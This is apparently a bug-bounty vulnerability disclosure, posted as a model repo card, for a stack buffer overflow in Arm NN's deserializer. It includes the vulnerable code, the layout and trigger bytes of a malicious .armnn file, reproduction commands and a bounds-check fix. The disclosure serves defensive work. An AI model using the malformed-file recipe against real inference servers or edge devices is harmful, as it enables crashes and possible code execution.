YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Arm NN Deserializer β€” Stack Buffer Overflow via dimensionSpecificity

Target: ARM-software/armnn
File: src/armnnDeserializer/Deserializer.cpp ~lines 746-760
Severity: HIGH (memory corruption, potential RCE / DoS from malformed model file)
Bug class: CWE-121: Stack-based Buffer Overflow
Platform: Protect AI / huntr.com bug bounty β€” authorized security research


Vulnerability Description

The Arm NN Deserializer reads TensorInfo objects from .armnn FlatBuffers files. When a TensorInfo has a dimensionSpecificity field, the deserializer copies its elements into a fixed-size stack array:

// Deserializer.cpp ~line 746
bool dimensionsSpecificity[armnn::MaxNumOfTensorDimensions];  // MaxNumOfTensorDimensions = 5
std::fill_n(dimensionsSpecificity, armnn::MaxNumOfTensorDimensions, true);

if (tensorPtr->dimensionSpecificity() != nullptr)
{
    auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
    size = dimensionSpecificity->size();          // [1] attacker-controlled
    for (unsigned int i = 0; i < size; ++i)
    {
        dimensionsSpecificity[i] = dimensionSpecificity->Get(i);  // [2] NO BOUNDS CHECK
    }
}

Root cause:

  1. At [1], size is taken directly from the FlatBuffers vector length with no upper-bound check.
  2. At [2], the loop writes to dimensionsSpecificity[i] for all i < size without checking i < MaxNumOfTensorDimensions (5).
  3. When dimensionSpecificity contains β‰₯ 6 elements, the write at index 5 goes past the end of the 5-element stack array, corrupting adjacent stack memory.

Verifier bypass:
The FlatBuffers structural Verifier validates byte-level integrity (offsets, alignment, vector byte lengths), but has no knowledge of application-level semantic constraints like MaxNumOfTensorDimensions = 5. A file with a 6-element dimensionSpecificity vector is structurally valid FlatBuffers and passes the Verifier without triggering any error.


Impact

  • Memory corruption on the call stack of any process that loads the file.
  • With sufficient control (e.g., larger vectors writing carefully crafted bool values to the stack), a return address or function pointer on the stack can be overwritten, leading to arbitrary code execution.
  • At minimum, the overflow causes a crash / DoS when loading an attacker- supplied model file β€” relevant in any inference server, edge device, or CI pipeline that accepts user-provided Arm NN models.

PoC File Structure

malicious.armnn β€” 436-byte FlatBuffers file
  SerializedGraph
    layers: [
      AnyLayer { layer_type=InputLayer(9), layer=InputLayer {
        base: BindableLayerBase {
          base: LayerBase { index=0, name="input", type=Input }
          layerBindingId: 0
        }
        outputSlots: [ OutputSlot {
          index: 0
          tensorInfo: TensorInfo {
            dimensions:           [1]                  <- 1 dimension
            dataType:             Float32
            dimensionality:       1
            dimensionSpecificity: [1,1,1,1,1,1]        <- 6 elements (TRIGGER)
          }
        }]
      }}
      AnyLayer { layer_type=OutputLayer(11), layer=OutputLayer {
        base: BindableLayerBase {
          base: LayerBase { index=1, name="output", type=Output }
          layerBindingId: 1
        }
        inputSlots: [ InputSlot {
          index: 0
          connection: { sourceLayerIndex=0, outputSlotIndex=0 }
        }]
      }}
    ]
    inputIds:  [0]
    outputIds: [1]

The 6-element dimensionSpecificity vector is embedded at buffer offset 232: 06 00 00 00 01 01 01 01 01 01


Reproduction

Generating the Malicious File

source /tmp/mlresearch/bin/activate
pip install flatbuffers
python3 poc_armnn_dimspec.py
# Outputs: malicious.armnn

Triggering the Crash (requires unpatched Arm NN build)

Option A β€” Python (if pyarmnn wheel available for your platform):

import pyarmnn as ann
parser = ann.IDeserializer.Create()
parser.CreateNetworkFromBinaryFile("malicious.armnn")  # crashes here

Option B β€” C++:

#include <armnnDeserializer/IDeserializer.hpp>
int main() {
    auto parser = armnnDeserializer::IDeserializer::Create();
    parser->CreateNetworkFromBinaryFile("malicious.armnn");  // OOB write
}

Option C β€” Arm NN unit test binary:

./UnitTests --run_test=DeserializeNetwork/LoadsFromFile -- malicious.armnn

Expected Crash

With AddressSanitizer or Valgrind:

==ASAN: stack-buffer-overflow on address ...
WRITE of size 1 at offset 5 of 5-element array dimensionsSpecificity
#0 armnnDeserializer::Deserializer::ToTensorInfo(...)
   Deserializer.cpp:756

Proposed Fix

Add a bounds check before the loop (one-line fix):

if (tensorPtr->dimensionSpecificity() != nullptr)
{
    auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
    size = dimensionSpecificity->size();

    // FIX: reject files with oversized dimensionSpecificity
    if (size > armnn::MaxNumOfTensorDimensions)
    {
        throw ParseException(
            fmt::format("TensorInfo has {} dimensionSpecificity entries; "
                        "maximum is {}.",
                        size, armnn::MaxNumOfTensorDimensions));
    }

    for (unsigned int i = 0; i < size; ++i)
    {
        dimensionsSpecificity[i] = dimensionSpecificity->Get(i);
    }
}

Alternatively, replace the fixed-size stack array with a std::vector and perform a runtime resize, or use the incoming size with std::min:

size = std::min(dimensionSpecificity->size(),
                static_cast<flatbuffers::uoffset_t>(armnn::MaxNumOfTensorDimensions));

Files

File Description
poc_armnn_dimspec.py Python script that generates the malicious .armnn file
malicious.armnn Pre-generated 436-byte malicious FlatBuffers model file
README.md This document

References

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support